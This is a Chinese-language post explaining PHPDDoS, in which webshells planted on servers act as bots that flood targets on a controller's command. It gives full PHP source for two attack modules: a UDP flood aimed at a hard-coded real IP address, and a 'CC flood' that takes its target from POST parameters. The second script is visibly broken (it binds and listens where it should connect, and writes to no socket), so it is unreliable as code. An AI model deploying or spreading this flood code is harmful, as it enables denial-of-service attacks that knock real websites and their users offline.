PHPDDOS的原理是使用一個主要端批量向被控端(也就是特殊的webshell)發送攻擊指令,方式一般是get或者post,達到統一指揮的目的。而被控端一般使用了php中的sock來進行攻擊。用過末日DDOS工具應該了解,攻擊效果顯著。
【一】。UDP源碼
<?php
$packets = 0;
$ip = '116.255.242.14';
$port = 80;
set_time_limit(0);
ignore_user_abort(FALSE);
$exec_time = '60';
$time = time();
echo '狀态 : 正常運作中.....<br><br>';
$max_time = $time+$exec_time;
$out=null;
for($i=0;$i<65535;$i++){
$out .= 't';
}
while(true){
$packets++;
if(time() > $max_time){
break;
}
$fp = fsockopen("udp://$ip", $port, $errno, $errstr, 5);
if($fp){
fwrite($fp, $out);
fclose($fp);
}
}
echo " 攻擊包時長:<font color=Red><span class=\"text\">".$exec_time." 秒</span><br><br></font>";
echo " 攻擊包總數:<font color=Red><span class=\"text\">".$packets." 個資料包</span><br><br></font>";
echo " 攻擊總流量:<font color=Red><span class=\"text\">".round(($packets*65*8)/(1024*1024),2)." Mbps</span><br><br></font>";
echo " 攻擊總位元組:<font color=Red><span class=\"text\">".time('h:i:s')." 位元組</span><br><br></font>";
echo "Packet complete at ".time('h:i:s')." with $packets (" .round(($packets*65*8)/(1024*1024),2). " Mbps) packets averaging ". round($packets/$exec_time, 2) . " packets/s \n";
?>
【二】。CC源碼
<?php
echo "狀态 : 正常運作中.....<br>";
echo "================================================<br>";
echo " <font color=blue>www.phpddos.com<br>";
echo " CC Flood 子產品<br>";
echo " 作者:ybhacker<br>";
echo " 警告:本程式帶有攻擊性,僅供安全研究與教學之用,風險自負!</font><br>";
echo "================================================<br><br>";
error_reporting(E_ALL); //提示錯誤資訊
set_time_limit(0); //設定一個程式所允許執行的秒數 0 是無限循環
ob_implicit_flush(); // 重新整理輸出緩沖
$address = $_POST['site']; // 網站位址
$port = $_POST['port']; // 端口
$dongu = $_POST['dongu']; //循環次數
$sayi = 1;
while ( $sayi <= $dongu ) //變量asyi小于 循環次數變量 dongu 才會繼續循環
{
if (($sock = socket_create(AF_INET, SOCK_STREAM, SOL_TCP)) === false) {
echo "HaHa\n";
}
if (socket_bind($sock, $address, $port) === false) { // 連接配接端口
echo "HaHa\n";
}
if (socket_listen($sock, 5) === false) {
echo "HaHa\n";
}
$msg = "HTTP/1.1 GET /\r\nHost:"+$_GET['site']+"\r\nConnection: Keep-Alive\r\n";
socket_write($msg);
socket_close($sock);
$sayi++; // 循環一次 變量sayi 加1
echo "Goodbye...".$sayi; // 輸出循環次數
}
?>